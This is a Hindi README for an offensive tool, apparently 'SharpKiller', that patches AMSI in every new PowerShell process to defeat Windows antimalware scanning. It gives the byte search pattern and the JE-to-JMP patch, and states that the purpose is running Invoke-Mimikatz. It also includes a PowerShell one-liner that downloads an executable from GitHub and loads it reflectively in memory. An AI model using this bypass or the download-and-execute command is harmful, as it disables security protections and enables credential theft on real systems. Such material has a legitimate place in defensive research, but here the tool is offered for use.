
जीवनकाल AMSI बायपास @ZeroMemoryEx द्वारा .NET Framework 4.8 में पोर्ट किया गया
@ZeroMemoryEx द्वारा लिखित AMSI-Killer का लाइफटाइम AMSI बाइपास, .NET Framework 4.8 पर पोर्ट किया गया।
[ x ] - हर 0.5 सेकंड में नई powershell प्रक्रियाओं के लिए लाइव स्कैन -> नए powershell इंस्टेंस को स्वचालित रूप से पैच करता है
हम प्रत्येक निर्देश के पहले बाइट को खोजकर जंप निर्देश का सटीक पता प्राप्त करते हैं; यह तकनीक लक्ष्य डेटा सेट में अपडेट या संशोधन के बावजूद प्रभावी रहती है।
उदाहरण के लिए :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
खोज पैटर्न इस प्रकार होगा :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

प्रोग्राम RDX के मान को उसी से तुलना करता है। यदि तुलना का परिणाम 0 होता है, तो प्रोग्राम रिटर्न के लिए जंप निष्पादित करता है। अन्यथा, प्रोग्राम अगले निर्देश का मूल्यांकन करने के लिए आगे बढ़ता है।

हम "Invoke-Mimikatz" निष्पादित नहीं कर सकते

हम पहले बाइट को पैच करते हैं और इसे JE से JMP में बदल देते हैं ताकि यह सीधे रिटर्न करे


अब हम "Invoke-Mimikatz" निष्पादित कर सकते हैं



$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));
यदि आपने कभी यह संदेश देखा है और इसके बारे में सोचा है - .NET AMSI इंटरफ़ेस में आपका स्वागत है! :-)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."